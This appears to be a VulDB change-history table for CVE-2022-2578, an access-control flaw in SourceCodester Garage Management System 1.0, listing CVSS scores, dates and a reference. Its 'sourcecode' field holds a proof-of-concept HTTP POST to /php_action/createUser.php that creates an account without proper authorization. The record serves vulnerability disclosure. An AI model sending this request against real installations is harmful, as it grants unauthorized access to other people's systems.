Field | 07/29/2022 15:13 | 07/29/2022 15:14 | 08/28/2022 14:51 |
---|
vendor | SourceCodester | SourceCodester | SourceCodester |
name | Garage Management System | Garage Management System | Garage Management System |
version | 1.0 | 1.0 | 1.0 |
file | /php_action/createUser.php | /php_action/createUser.php | /php_action/createUser.php |
cwe | 284 (access control) | 284 (access control) | 284 (access control) |
risk | 2 | 2 | 2 |
cvss3_vuldb_av | N | N | N |
cvss3_vuldb_ac | L | L | L |
cvss3_vuldb_ui | N | N | N |
cvss3_vuldb_s | U | U | U |
cvss3_vuldb_c | L | L | L |
cvss3_vuldb_i | L | L | L |
cvss3_vuldb_a | L | L | L |
cvss3_vuldb_e | P | P | P |
cvss3_vuldb_rc | R | R | R |
url | https://github.com/ch0ing/vul/blob/main/WebRay.com.cn/Garage%20Management%20System--.md | https://github.com/ch0ing/vul/blob/main/WebRay.com.cn/Garage%20Management%20System--.md | https://github.com/ch0ing/vul/blob/main/WebRay.com.cn/Garage%20Management%20System--.md |
availability | 1 | 1 | 1 |
publicity | 1 | 1 | 1 |
url | https://github.com/ch0ing/vul/blob/main/WebRay.com.cn/Garage%20Management%20System--.md | https://github.com/ch0ing/vul/blob/main/WebRay.com.cn/Garage%20Management%20System--.md | https://github.com/ch0ing/vul/blob/main/WebRay.com.cn/Garage%20Management%20System--.md |
cve | CVE-2022-2578 | CVE-2022-2578 | CVE-2022-2578 |
responsible | VulDB | VulDB | VulDB |
date | 1659045600 (07/29/2022) | 1659045600 (07/29/2022) | 1659045600 (07/29/2022) |
cvss2_vuldb_av | N | N | N |
cvss2_vuldb_ac | L | L | L |
cvss2_vuldb_ci | P | P | P |
cvss2_vuldb_ii | P | P | P |
cvss2_vuldb_ai | P | P | P |
cvss2_vuldb_e | POC | POC | POC |
cvss2_vuldb_rc | UR | UR | UR |
cvss2_vuldb_au | S | S | S |
cvss2_vuldb_rl | ND | ND | ND |
cvss3_vuldb_pr | L | L | L |
cvss3_vuldb_rl | X | X | X |
cvss2_vuldb_basescore | 6.5 | 6.5 | 6.5 |
cvss2_vuldb_tempscore | 5.6 | 5.6 | 5.6 |
cvss3_vuldb_basescore | 6.3 | 6.3 | 6.3 |
cvss3_vuldb_tempscore | 5.7 | 5.7 | 5.7 |
cvss3_meta_basescore | 6.3 | 6.3 | 6.3 |
cvss3_meta_tempscore | 5.7 | 5.7 | 5.7 |
price_0day | $0-$5k | $0-$5k | $0-$5k |
sourcecode | | POST /php_action/createUser.php HTTP/1.1
Host: 192.168.67.9
Content-Length: 548
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.67.9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfyEJMTq3SaowAIJ3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.67.9/add-user.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
------WebKitFormBoundaryfyEJMTq3SaowAIJ3
Content-Disposition: form-data; name="currnt_date"
------WebKitFormBoundaryfyEJMTq3SaowAIJ3
Content-Disposition: form-data; name="userName"
123@qq.com
------WebKitFormBoundaryfyEJMTq3SaowAIJ3
Content-Disposition: form-data; name="upassword"
admin@123
------WebKitFormBoundaryfyEJMTq3SaowAIJ3
Content-Disposition: form-data; name="uemail"
123@qq.com
------WebKitFormBoundaryfyEJMTq3SaowAIJ3
Content-Disposition: form-data; name="create"
------WebKitFormBoundaryfyEJMTq3SaowAIJ3-- | POST /php_action/createUser.php HTTP/1.1
Host: 192.168.67.9
Content-Length: 548
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.67.9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfyEJMTq3SaowAIJ3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.67.9/add-user.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
------WebKitFormBoundaryfyEJMTq3SaowAIJ3
Content-Disposition: form-data; name="currnt_date"
------WebKitFormBoundaryfyEJMTq3SaowAIJ3
Content-Disposition: form-data; name="userName"
123@qq.com
------WebKitFormBoundaryfyEJMTq3SaowAIJ3
Content-Disposition: form-data; name="upassword"
admin@123
------WebKitFormBoundaryfyEJMTq3SaowAIJ3
Content-Disposition: form-data; name="uemail"
123@qq.com
------WebKitFormBoundaryfyEJMTq3SaowAIJ3
Content-Disposition: form-data; name="create"
------WebKitFormBoundaryfyEJMTq3SaowAIJ3-- |
cve_assigned | | | 1659045600 (07/29/2022) |
cve_nvd_summary | | | A vulnerability, which was classified as critical, has been found in SourceCodester Garage Management System 1.0. This issue affects some unknown processing of the file /php_action/createUser.php. The manipulation leads to improper access controls. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. |